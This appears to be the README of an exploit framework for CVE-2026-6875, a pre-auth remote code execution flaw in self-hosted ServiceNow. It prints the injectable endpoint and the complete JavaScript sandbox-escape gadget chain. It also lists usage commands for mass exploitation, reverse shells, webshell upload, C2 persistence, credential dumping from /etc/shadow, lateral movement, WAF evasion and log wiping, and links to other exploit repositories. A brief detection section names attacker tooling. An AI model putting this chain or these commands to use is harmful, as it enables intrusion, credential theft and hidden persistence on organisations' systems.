
CVE-2026-6875 ServiceNow Pre-Auth RCE Framework 🔥 JS Injection → Sandbox Escape → RCE → Root. Features: --detect, --exec, reverse/interactive shell, batch threading, WAF bypass, persistence, lateral movement, credential dump, fileless exec, clean tracks. 🛡️ CVSS 9.5 actively exploited. Authorized & Legal use only. Stay Legal. 🔒

Exploit Framework & Safe Verifier
For authorized security testing only.
This tool is provided for educational and authorized penetration testing purposes only.
The authors and contributors are not responsible for any misuse or damage caused by this software. Users are solely responsible for ensuring they have explicit written permission from the target owner before testing. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA) and similar laws worldwide.
By using this software, you agree to:
⚠️ WARNING: This vulnerability is actively exploited in the wild. Unauthorized use may result in severe legal consequences.
CVE-2026-6875 is a critical unauthenticated Remote Code Execution (RCE) vulnerability in the ServiceNow AI Platform (formerly Now Platform). It allows attackers to bypass the script sandbox and execute arbitrary system commands with the privileges of the ServiceNow application.
JavaScript Injection: The assessment_thanks.do endpoint accepts a sysparm_assessable_type parameter. By prefixing the value with javascript:, an attacker injects arbitrary JavaScript code.
Sandbox Escape: A sophisticated sandbox‑escape gadget (chaining DiscoveryFunctions.getCacheObjectForTable, AbstractAjaxProcessor, and Class.create) lifts the JavaScript sandbox restriction.
Remote Code Execution: The injected Java code (via java.lang.Runtime.exec()) runs with ServiceNow application privileges, enabling full system compromise.
Privilege Escalation: Post‑exploitation modules attempt to escalate to root via sudo misconfigurations, SUID binaries, writable cron jobs, or kernel exploits.
exploit.py)The full weaponized exploit chains the JavaScript injection and sandbox escape to achieve remote code execution, with advanced post‑exploitation modules for persistence, lateral movement, and credential dumping.
verifier.py)The safe verifier performs non‑intrusive vulnerability detection without executing harmful payloads or making system changes.
pip (for requests library)pip install requests urllib3
[!NOTE]
exploit.pyuses only the standard library for core functionality;requestsis only required for the--detectfeature,--webhooknotifications, and safe verifier.
verifier.py)# Single target verification
python verifier.py -u 192.168.1.100
# Custom port and path
python verifier.py -u 10.0.0.5 -p 8443 --path /snow
# Mass scan from file
python verifier.py -l targets.txt -o results.json
# Quiet mode (only vulnerable targets)
python verifier.py -u 192.168.1.100 -q
# Increase timeout for slow targets
python verifier.py -u servicenow.example.com --timeout 60
# Custom User-Agent
python verifier.py -u 192.168.1.100 --user-agent "MyScanner/1.0"
# Interactive shell on target
python exploit.py -u 192.168.1.100
# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"
# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd
# Enable detection before exploitation
python exploit.py -u 192.168.1.100 --detect
# Attempt root privilege escalation
python exploit.py -u 192.168.1.100 --privesc
# Upload a webshell
python exploit.py -u 192.168.1.100 --upload shell.jsp
# Install persistence with C2
python exploit.py -u 192.168.1.100 --persistence --c2-host 10.0.0.5 --c2-port 4444
# Clean tracks after exploit
python exploit.py -u 192.168.1.100 --clean
# Use fileless (memory) payload
python exploit.py -u 192.168.1.100 --fileless --c2-host 10.0.0.5 --c2-port 4444
# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"
# Custom callback server port
python exploit.py -u 192.168.1.100 --callback-port 9090
# Enable WAF bypass techniques
python exploit.py -u 192.168.1.100 --waf-bypass
# Send notifications via webhook
python exploit.py -u 192.168.1.100 --webhook https://myhook.com/snow
# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100
# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /snow
# Disable TLS verification (for self-signed certs)
python exploit.py -u 192.168.1.100 --insecure-tls
# Custom timeout and retries
python exploit.py -u 192.168.1.100 -t 60 -r 5 -d 2.0
⚠️ Important: ServiceNow Cloud instances are automatically patched. This vulnerability primarily affects self‑hosted deployments.
The vulnerability resides in the assessment_thanks.do endpoint, which accepts a sysparm_assessable_type parameter. By supplying a value starting with javascript:, the platform evaluates the subsequent JavaScript within the system context.
Vulnerable Endpoint:
POST /assessment_thanks.do sysparm_assessable_type=javascript:gs.print('test')
The injected code is initially confined to a sandbox. However, by exploiting the following chain:
javascript:
var s="<payload>";
DiscoveryFunctions.getCacheObjectForTable=Object;
var a={};a.get=Object;
var b=new AbstractAjaxProcessor();
b.initialize=DiscoveryFunctions.getFirstValueFromTable(
a,"",DiscoveryFunctions.getFirstValueFromTable(
a,"",DiscoveryFunctions.getFirstValueFromTable(
a,"",global,"WorkflowIconsSCR",""),"prototype",""),"initialize","");
b.a=Class.create();b.a(s);
The sandbox is bypassed, granting full access to Java classes such as java.lang.Runtime.
Searches for .properties, .xml, .conf files for passwords, API keys, and secrets:
/opt/ServiceNow/conf/*.xml/var/log/ServiceNow/*.log/etc/passwd, /etc/shadowInstalls backdoors via:
*/5 * * * *), systemd services, SSH keysschtasks), Registry run keysScans local subnet for other ServiceNow instances or SSH hosts, re‑uses discovered credentials.
Compiles a Java class on‑the‑fly, loads it via ClassLoader, and executes it in memory (no disk writes).
{/*comment*/})\u0077 for w)ne\u0077 for new)Search your ServiceNow logs for:
extraweb_access.log – requests to /assessment_thanks.do with sysparm_assessable_type containing:
javascript:DiscoveryFunctions.getCacheObjectForTableAbstractAjaxProcessor/var/tmp/ (e.g., shell.jsp, .sh scripts)/etc/passwd, /etc/shadow, or ~/.ssh/authorized_keyscrontab -l)/etc/systemd/system/)/bin/bash -i, nc, curl, wget, python -c)[+] CVE-2026-15409/15410 - SonicWall SMA1000 Multi-Exploit Framework
https://github.com/tc4dy/CVE-2026-15409-15410-Framework
[+] CVE-2026-41091 - SolarFlare (RedSun) Microsoft Defender LPE
https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
[+] CVE-2026-57821 - Apache Fineract SQL Injection Toolkit
https://github.com/tc4dy/CVE-2026-57821-PoC-Exploit
[+] CVE-2026-41940 - cPanel/WHM Authentication Bypass
https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit
| Attribute | Value |
|---|
| 📅 Discovered | April 1, 2026 (Searchlight Cyber) |
| ⚠️ CVSS Score | 9.5 (CRITICAL) |
| 📋 CISA KEV | Added July 13, 2026 |
| 🎯 Affected Products | Self‑hosted ServiceNow AI Platform |
| 🔄 Fixed Versions | Brazil EA/GA, Australia Patch 2, Zurich Patch 7b/9, Yokohama Patch 12 Hot Fix 1b/13 |
| 🔓 Authentication | Not required (Pre‑Auth) |
| 🌍 Active Exploitation | Confirmed in the wild (July 2026) |
| Feature | Description |
|---|
| 🚀 JavaScript Injection | Injects payload via sysparm_assessable_type parameter. |
| 💻 Sandbox Escape | Bypasses ServiceNow's script sandbox to run arbitrary Java code. |
| 🔐 Interactive Shell | Spawn a live shell with support for multiple commands. |
| 👑 Root Privesc | Checks for sudo misconfigurations, SUID binaries, and cron jobs. |
| 📁 File Operations | Upload webshells, read/download files via base64 encoding. |
| 🌐 Batch Scanning | Mass exploit multiple targets with threading (-l flag). |
| 🎯 Safe Detection | Optional --detect flag for non‑intrusive vulnerability verification. |
| ⚙️ WAF Bypass | Built‑in obfuscation techniques to evade WAF/IDS (6 techniques). |
| 🧩 Persistence | Installs cron/systemd/schtasks backdoors. |
| 🔍 Lateral Movement | Scans local network for other vulnerable hosts and attempts SSH/SSRF propagation. |
| 🧹 Clean Tracks | Removes logs, bash history, and audit trails. |
| 💾 Fileless Execution | Uses Java ClassLoader to run memory‑resident payloads without writing to disk. |
| 🔌 Callback Server | Built‑in HTTP server to receive command output (optional). |
| 📢 Webhook Notifications | Sends results to a custom URL (Slack, Discord, etc.). |
| 🪟 Cross‑Platform | Supports Linux and Windows targets (cmd.exe / PowerShell). |
| 🔒 Thread‑Safe | Uses locking mechanisms for concurrent operations. |
| 📊 Version Detection | Detects ServiceNow version (Zurich/Brazil/Australia/Yokohama). |
| Command | Description |
|---|
exec <cmd> | Execute system command |
upload <local> [remote] | Upload webshell to target |
download <remote> | Download and display file content |
privesc | Attempt privilege escalation |
reverse <host> <port> | Send reverse shell |
dumpcred | Dump credentials from ServiceNow configs |
persist <host> <port> | Install persistence (cron/systemd/schtasks) |
lateral | Attempt lateral movement |
clean | Clean tracks (logs, history) |
memory <host> <port> | Execute fileless Java payload |
exit | Exit interactive shell |
| Feature | Description |
|---|
| 🔍 ServiceNow Detection | Identifies ServiceNow instances via multiple endpoints. |
| 📊 Version Detection | Detects specific ServiceNow releases and patch levels. |
| 🧪 JavaScript Injection Test | Tests for injection vulnerability using safe gs.print() payloads. |
| 🔒 Sandbox Escape Test | Verifies sandbox escape without destructive commands. |
| 📈 Confidence Scoring | Provides confidence percentage (85‑95%) based on evidence. |
| 📋 JSON Output | Export results to JSON format for reporting. |
| 🔄 Mass Scanning | Scan multiple targets with threading support. |
| 🎯 Non‑Intrusive | Only executes benign uname -a for system info. |
| ServiceNow Release | Vulnerable Versions | Fixed Versions |
|---|
| Brazil | EA, GA | Patched (post‑GA) |
| Australia | Before Patch 2 | Patch 2+ |
| Zurich | Before Patch 7b, Patch 9 | Patch 7b, Patch 9+ |
| Yokohama | Before Patch 12 Hot Fix 1b | Patch 12 Hot Fix 1b, Patch 13 |
| Other releases | Unknown | Check official advisory |